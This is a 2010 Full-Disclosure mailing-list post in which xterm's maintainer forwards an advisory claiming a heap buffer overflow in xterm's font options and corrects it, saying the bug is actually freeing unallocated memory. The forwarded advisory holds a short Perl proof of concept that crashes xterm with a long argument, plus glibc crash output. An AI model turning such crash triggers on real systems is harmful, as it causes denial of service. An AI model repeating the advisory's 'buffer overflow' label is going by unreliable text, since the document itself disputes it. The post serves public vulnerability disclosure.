full-disclosure - [SecurityArchitect-008]: Xterm Local Buffer Overflow Vulnerability (fwd)

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Message-ID: <20101013200340.K56047@mail101.his.com>
Date: Wed, 13 Oct 2010 20:05:13 -0400 (EDT)
From: Thomas Dickey <dickey@....com>
To: full-disclosure@...ts.grok.org.uk
Subject: [SecurityArchitect-008]: Xterm Local Buffer
 Overflow Vulnerability (fwd)



The report is inaccurate (not a buffer overflow, but freeing unallocated 
memory).  For reference, this is Debian #600129 in xterm's changelog.

-- 
Thomas E. Dickey
http://invisible-island.net
ftp://invisible-island.net

---------- Forwarded message ----------
Date: Wed, 13 Oct 2010 19:50:36 -0400
From: Thomas Dickey <tom@...isible-island.net>
To: Thomas Dickey <dickey@....com>
Subject: [Full-disclosure] [SecurityArchitect-008]: Xterm Local Buffer Overflow
     Vulnerability

    #Index Previous Next

     [Full-disclosure] [SecurityArchitect-008]: Xterm Local Buffer Overflow
                                  Vulnerability

    musashi karak0rsan karakorsankara at hotmail.com
    Wed Sep 1 15:24:30 BST 2010

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      _________________________________________________________________

Product: Xterm
Vulnerability: Buffer Overflow (heap-based)
Credits: Celil Ünüver from SecurityArchitect.Org
Tested on: Ubuntu 10.04 and xterm(256) version
Details:
Xterm's "-fw , -fwb , -fb" command line options causes an overflow while writin
g long argument..
PoC:
# Contact: www.securityarchitect.org
$file = "A" x 500;
$print = "xterm -fw $file";
system $print;
Results:
pc at ubuntu:~/Masaüstü$ perl xterm.pl*** glibc detected *** xterm: munmap_chun
k(): invalid pointer: 0x09f593a4 ***======= Backtrace: =========/lib/tls/i686/c
mov/libc.so.6(+0x6b591)[0x2fd591]/lib/tls/i686/cmov/libc.so.6(+0x6c80e)[0x2fe80
e]
Greets: hellcode
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